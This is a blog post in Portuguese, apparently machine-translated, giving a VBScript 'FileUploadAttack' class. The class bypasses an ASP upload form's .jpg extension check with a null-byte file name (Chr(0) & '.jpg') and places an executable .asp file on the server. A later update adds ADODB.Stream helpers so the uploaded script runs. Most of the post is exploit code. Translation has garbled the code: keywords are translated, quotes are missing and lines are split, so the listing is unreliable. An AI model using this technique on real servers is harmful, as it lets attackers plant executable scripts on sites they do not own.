Alguns dos scripts neste artigo são ofensivos e servem apenas para estudo e pesquisa. Por favor, use-os dentro do escopo legal e razoável. Não sou responsável pelas perdas causadas e não forneço orientação técnica sobre ataques de hackers.
Demon mencionou esse problema hoje, e isso me lembrou de um artigo que vi antes "Upload automático de arquivos usando IE + ADO sem interação do usuário - VBSscript". Este artigo fornece um exemplo de script de upload automático local não interativo. Você pode pegá-lo emprestado hoje. O script original usa o componente InternetExplorer.Application. Eu o reescrevi e usei WinHttp.WinHttpRequest.5.1 para obter uma função semelhante. mais uso deste componente, consulte "Referência do objeto WinHttpRequest".
Copie o código da seguinte forma:Opção
Função explícita file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nada
definido fso = Nada
End Function
' Código modificado em http://www.motobit.com/tips/detpg_uploadvbsie/
Classe FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
Definir m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = name
End Sub
'Infrormations In form field header
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'modelo para cabeçalho multiparte
.MPTemplate = Disposição do conteúdo: dados do formulário={campo};
nome do arquivo = {arquivo} + vbCrLf + _
Tipo de conteúdo: {ct} + vbCrLf + vbCrLf
Dim Out
Out = Substituir (MPTemplate, {campo}, FieldName)
Out = Substituir (Out, {arquivo}, Nome do arquivo)
mpFields = Substituir ( Out, {ct}, ContentType)
End Function
'Converte string OLE em string multibyte
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'Construir documento multipart/form-data com conteúdo do arquivo e informações de cabeçalho
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = application/upload
'As duas partes em torno do conteúdo do arquivo Nos dados do formulário multipartes
Pre = -- + Boundary +. vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'Construir dados de formulário usando o campo binário do conjunto de registros
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Append b, adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Converte o valor da pré-string em um dado binário
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'Converter o valor da string Po em dados binários
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'Join Pre + FileContents + Po dados binários
RS(b).AppendChunk (Pré )
RS(b).AppendChunk (FileContents)
RS(b).AppendChunk (Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData = FormData
End Function
Função Pública sendFile(fileName)
Const Boundary = ---------------------------0123456789012
m_objWinHttp .Open POST, m_strUrl, False
m_objWinHttp.setRequestHeader Content-Type, _
multipart/form-databound= + Boundary
Dim FileContents, FormData
'Obter; arquivo de origem Como dados binários.
FileContents = file_get_contents(FileName)
'O seguinte constrói a extensão de arquivo malicioso Chr(0) & .jpg
'Construa documento multipart/form-data
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
Função final
Função pública getText()
getText = m_objWinHttp.ResponseText
Função final
Funçãode classe final
VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
'É necessário modificar o seguinte conteúdo para o conteúdo apropriado
' Carregar url
fileUpload.setUrl http://localhost/upload/uploadfile.asp
arquivoUpload.setFieldName filepath 'O nome da caixa do formulário de upload
' O caminho do arquivo a ser carregadoIf
fileUpload.sendFile(E:/projects/asp/index.asp)=200 Then
MsgBox carregado com sucesso& fileUpload.getText()
Else
MsgBox failedEnd
If
Set fileUpload = Nada
Finalizar
Chamada
de FunçãoA função de upload WScript.Quit(VBMain())
é um simples upload de arquivos ASP encontrados na Internet e depois adicionados ao GetFileExtensionName que descrevi no artigo "A origem do CHR(0) em ASP/VBScript e os problemas de segurança traz" Determine se a extensão é jpg.
Os resultados do teste são: upload manual de asp, falha ao usar o script de ataque acima para upload de arquivos asp, sucesso! Na verdade, existe um arquivo asp no diretório de upload. Este arquivo asp também pode ser acessado através da URL do navegador, mas o estranho é que a exibição está em branco. Eu sou o IIS 7 aqui. É um problema de versão do IIS. retornar o fluxo binário do arquivo? Ok, vamos deixar esta questão aqui por enquanto. Há outras coisas para fazer, então vamos sair do caminho primeiro.
Todos os pacotes de código experimental podem ser baixados aqui upload.zip (para bugs de código, consulte as instruções de atualização abaixo).
Atualizado em 25 de dezembro de 2011.
Com base no feedback de todos, o arquivo enviado tornou-se Unicode Little. Problema de codificação Endian, em primeiro lugar, sinto muito porque estava com muita preguiça na época. A referência de código principal é de um estrangeiro, e o estrangeiro explicou a função GetFile para obter dados binários do arquivo, não consegui encontrar a implementação. desta função, e eu estava com preguiça de fazer a leitura binária, então acabei de fazer isso. É melhor que isso seja feito. preguiçoso e converte diretamente os dados de texto em dados binários na base existente. Usando o componente ADODB.Stream, a função é a seguinte:
Copiar o código O código é o seguinte:
'Converta a string str do charset especificado em binário
Function strtobin(str, charset)
With WSH.CreateObject(ADODB.Stream)
. Tipo = 2
.Mode = 3
.Aberto
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.Close
End With
End Function
Em seguida, altere a linha 106 do código acima para o seguinte (leia o texto em ASCII):
Copie o código da seguinte forma:
FileContents = strtobin(file_get_contents(FileName), ASCII)
O arquivo ASP carregado após esta alteração é normalmente arquivo codificado e, em seguida, o navegador acessa esse arquivo, você pode ver que o ASP foi analisado com êxito.
No entanto, isso parece um pouco detalhado. Na verdade, você pode abrir o arquivo diretamente em binário e retornar os dados. Existem duas etapas aqui: 1. Ler o arquivo em modo de texto. O código de uma etapa pode se referir à seguinte função que lê dados do arquivo no modo binário Byte():
Copie o código da seguinte maneira:
'Retorna o conteúdo do arquivo como dados binários
Função GetFile(FileName)
Dim Stream: Set Stream = CreateObject(ADODB .Stream)
Stream.Type = 1 'Binário
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Definir Stream = Nada
Fim
Não vou escrever o código mais otimizado deFunction
. Ele explica principalmente uma ideia de upload. Se você deseja obter uma implementação de upload completa, pode consultar o "Arquivo de upload POST de simulação VBS".